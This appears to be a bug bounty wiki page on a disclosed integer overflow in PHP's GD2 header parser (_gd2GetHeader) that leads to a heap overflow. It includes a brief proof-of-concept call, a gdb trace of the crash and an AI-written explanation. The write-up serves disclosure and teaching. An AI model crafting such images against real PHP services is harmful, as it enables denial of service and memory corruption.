Integer Overflow in _gd2GetHeader() resulting in heap overflow
The GD2 image header parser multiplies the chunk width and height counts without checking for overflow, so a crafted GD2 file makes the allocation far smaller than the number of chunk entries later written into it. An attacker could crash PHP by supplying such an image, and the text shows a heap overflow that may allow further memory corruption.
- Fixed in 21 days
- Paid in 21 days
- Disclosed after 3.4 years
The _gd2GetHeader() is prone to an integer overflow, which result in heap based overflow.
Tested on PHP 5.6.22
--------------- PoC --------------- $ ls poc.gd poc.php $ cat poc.php
<?php imagecreatefromgd2("poc.gd"); ?>--------------- Result --------------- /php$ gdb -q --args ./php-5.6.22/sapi/cli/php poc.php Reading symbols from /php/php-5.6.22/sapi/cli/php...done. (gdb) b gd_gd2.c:139 Breakpoint 1 at 0x570869: file /php/php-5.6.22/ext/gd/libgd/gd_gd2.c, line 139. (gdb) r Starting program: /php/./php-5.6.22/sapi/cli/php poc.php
Breakpoint 1, _gd2GetHeader (in=0x7ffff7fd0ac0, sx=0x7fffffffa520, sy=0x7fffffffa524, cs=0x7fffffffa530, vers=0x7fffffffa534, fmt=0x7fffffffa538, ncx=0x7fffffffa528, ncy=0x7fffffffa52c, chunkIdx=0x7fffffffa540) at /php/php-5.6.22/ext/gd/libgd/gd_gd2.c:139 139 nc = (*ncx) * (*ncy); <---------- ncx(Chunks wide) is 0x5b00, ncy(Chunks high) is 0x5b00 <---------- As a result, 'nc' is 0x20590000.
(gdb) x/xw ncx 0x7fffffffa528: 0x00005b00 (gdb) x/xw ncy 0x7fffffffa52c: 0x00005b00 (gdb) n 141 sidx = sizeof(t_chunk_info) * nc; <---------- sizeof(t_chunk_info) is 0x8. <---------- The result of the multiplication can overflow.
(gdb) n 142 if (sidx <= 0) { (gdb) n 145 cidx = gdCalloc(sidx, 1); <---------- gdCalloc() call will allocate a buffer too small to contain the chunk entries. (gdb) info locals sidx = 46661632 (0x2C80000) nc = 542703616 (0x20590000) ... (gdb) n 146 for (i = 0; i < nc; i++) { (gdb) n 145 cidx = gdCalloc(sidx, 1); (gdb) n 146 for (i = 0; i < nc; i++) { (gdb) n 147 if (gdGetInt(&cidx[i].offset, in) != 1) { <---------- It cause heap overflow (gdb) n 151 if (gdGetInt(&cidx[i].size, in) != 1) { (gdb) n 155 if (cidx[i].offset < 0 || cidx[i].size < 0) { (gdb) c Continuing.
Program received signal SIGSEGV, Segmentation fault. php_gd_gdGetInt (result=result@entry=0x7ffff6116000, ctx=ctx@entry=0x7ffff7fd0ac0) at /php/php-5.6.22/ext/gd/libgd/gd_io.c:103 103 *result = r << 24; (gdb)
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the chunk count is computed as a signed multiplication of two attacker-controlled 16-bit values without an overflow check before the size calculation and allocation.
Impact
A crafted GD2 image causes a heap overflow and a segmentation fault, crashing the PHP process; the text does not demonstrate code execution.
What the attacker needed
Ability to supply a crafted GD2 image to PHP
How it was found
- Create a GD2 file whose chunk width and height counts are large enough that their product overflows.
- Call imagecreatefromgd2 on that file from a PHP script.
- Run the script under a debugger and observe the chunk count and the overflowing size calculation.
- Continue execution and observe the heap overflow and segmentation fault.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When PHP opens a GD2 image it reads how many chunks the image is split into and reserves memory for a list of them. The number of chunks is calculated by multiplying two values from the file, and that multiplication can wrap around to a small number, so too little memory is reserved. The program then writes every chunk entry into that small space, running past the end of it and crashing.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.